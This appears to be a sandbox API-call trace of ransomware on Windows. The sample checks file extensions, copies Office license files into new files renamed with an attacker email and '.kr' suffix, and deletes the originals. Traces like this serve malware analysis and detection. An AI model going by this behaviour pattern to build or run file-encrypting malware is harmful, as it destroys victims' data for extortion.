lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString=".bz2") returned 4 [0214.919] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString=".7z") returned 3 [0214.919] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.919] lstrlenW (lpString=".dbf") returned 4 [0214.919] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.919] lstrlenW (lpString=".1cd") returned 4 [0214.919] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.919] lstrlenW (lpString=".jpg") returned 4 [0214.919] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.920] lstrlenW (lpString=".doc") returned 4 [0214.920] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString=".docx") returned 5 [0214.920] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.920] lstrlenW (lpString=".pdf") returned 4 [0214.920] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString=".xls") returned 4 [0214.920] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString=".xlsx") returned 5 [0214.920] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.920] lstrlenW (lpString=".ppt") returned 4 [0214.920] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.920] lstrlenW (lpString=".zip") returned 4 [0214.920] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString=".rar") returned 4 [0214.920] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString=".bz2") returned 4 [0214.920] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString=".7z") returned 3 [0214.920] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.920] lstrlenW (lpString=".dbf") returned 4 [0214.920] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.920] lstrlenW (lpString=".1cd") returned 4 [0214.920] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.920] lstrlenW (lpString=".jpg") returned 4 [0214.920] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.921] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.921] lstrlenW (lpString="ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 43 [0214.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.921] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11654) returned 1 [0214.921] CloseHandle (hObject=0x51c) returned 1 [0214.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0214.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.922] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.922] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0214.923] GetLastError () returned 0x0 [0214.923] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d86, lpOverlapped=0x0) returned 1 [0214.925] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0214.926] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.926] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x12a, lpOverlapped=0x0) returned 1 [0214.926] SetEndOfFile (hFile=0x574) returned 1 [0214.926] CloseHandle (hObject=0x574) returned 1 [0214.926] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.927] SetEndOfFile (hFile=0x51c) returned 1 [0214.930] CloseHandle (hObject=0x51c) returned 1 [0214.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms")) returned 1 [0214.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.931] lstrlenW (lpString=".doc") returned 4 [0214.931] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString=".docx") returned 5 [0214.931] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.931] lstrlenW (lpString=".pdf") returned 4 [0214.931] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString=".xls") returned 4 [0214.931] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString=".xlsx") returned 5 [0214.931] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.931] lstrlenW (lpString=".ppt") returned 4 [0214.931] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.931] lstrlenW (lpString=".zip") returned 4 [0214.931] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString=".rar") returned 4 [0214.931] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString=".bz2") returned 4 [0214.931] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.931] lstrlenW (lpString=".7z") returned 3 [0214.931] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.931] lstrlenW (lpString=".dbf") returned 4 [0214.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.932] lstrlenW (lpString=".1cd") returned 4 [0214.932] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.932] lstrlenW (lpString=".jpg") returned 4 [0214.932] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.932] lstrlenW (lpString=".doc") returned 4 [0214.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString=".docx") returned 5 [0214.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.932] lstrlenW (lpString=".pdf") returned 4 [0214.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString=".xls") returned 4 [0214.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString=".xlsx") returned 5 [0214.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.932] lstrlenW (lpString=".ppt") returned 4 [0214.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.932] lstrlenW (lpString=".zip") returned 4 [0214.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString=".rar") returned 4 [0214.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString=".bz2") returned 4 [0214.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString=".7z") returned 3 [0214.932] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.932] lstrlenW (lpString=".dbf") returned 4 [0214.932] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.933] lstrlenW (lpString=".1cd") returned 4 [0214.933] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0214.933] lstrlenW (lpString=".jpg") returned 4 [0214.933] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.933] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.933] lstrlenW (lpString="ProjectProCO365R_SubTest-pl.xrm-ms") returned 34 [0214.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.933] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11187) returned 1 [0214.933] CloseHandle (hObject=0x51c) returned 1 [0214.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms")) returned 0x220 [0214.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.934] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.934] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0214.935] GetLastError () returned 0x0 [0214.935] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bb3, lpOverlapped=0x0) returned 1 [0215.255] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0215.257] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.257] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0215.257] SetEndOfFile (hFile=0x574) returned 1 [0215.257] CloseHandle (hObject=0x574) returned 1 [0215.257] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.257] SetEndOfFile (hFile=0x51c) returned 1 [0215.261] CloseHandle (hObject=0x51c) returned 1 [0215.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms")) returned 1 [0215.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.262] lstrlenW (lpString=".doc") returned 4 [0215.262] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.262] lstrlenW (lpString=".docx") returned 5 [0215.262] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.262] lstrlenW (lpString=".pdf") returned 4 [0215.262] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.262] lstrlenW (lpString=".xls") returned 4 [0215.262] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.262] lstrlenW (lpString=".xlsx") returned 5 [0215.262] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.262] lstrlenW (lpString=".ppt") returned 4 [0215.262] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.262] lstrlenW (lpString=".zip") returned 4 [0215.263] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString=".rar") returned 4 [0215.263] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString=".bz2") returned 4 [0215.263] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString=".7z") returned 3 [0215.263] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.263] lstrlenW (lpString=".dbf") returned 4 [0215.263] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.263] lstrlenW (lpString=".1cd") returned 4 [0215.263] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.263] lstrlenW (lpString=".jpg") returned 4 [0215.263] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.263] lstrlenW (lpString=".doc") returned 4 [0215.263] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString=".docx") returned 5 [0215.263] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.263] lstrlenW (lpString=".pdf") returned 4 [0215.263] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString=".xls") returned 4 [0215.263] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString=".xlsx") returned 5 [0215.263] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.263] lstrlenW (lpString=".ppt") returned 4 [0215.263] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.263] lstrlenW (lpString=".zip") returned 4 [0215.264] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.264] lstrlenW (lpString=".rar") returned 4 [0215.264] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.264] lstrlenW (lpString=".bz2") returned 4 [0215.264] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.264] lstrlenW (lpString=".7z") returned 3 [0215.264] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.264] lstrlenW (lpString=".dbf") returned 4 [0215.264] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.264] lstrlenW (lpString=".1cd") returned 4 [0215.264] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0215.264] lstrlenW (lpString=".jpg") returned 4 [0215.264] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.264] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.264] lstrlenW (lpString="ProjectProMSDNR_Retail-ppd.xrm-ms") returned 33 [0215.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.265] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20919) returned 1 [0215.265] CloseHandle (hObject=0x51c) returned 1 [0215.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms")) returned 0x220 [0215.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.266] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.266] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0215.267] GetLastError () returned 0x0 [0215.267] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x51b7, lpOverlapped=0x0) returned 1 [0215.269] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x51c0, lpOverlapped=0x0) returned 1 [0215.270] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.271] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0215.271] SetEndOfFile (hFile=0x574) returned 1 [0215.271] CloseHandle (hObject=0x574) returned 1 [0215.271] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.271] SetEndOfFile (hFile=0x51c) returned 1 [0215.276] CloseHandle (hObject=0x51c) returned 1 [0215.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms")) returned 1 [0215.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0215.278] lstrlenW (lpString=".doc") returned 4 [0215.278] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.278] lstrlenW (lpString=".docx") returned 5 [0215.278] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.278] lstrlenW (lpString=".pdf") returned 4 [0215.278] 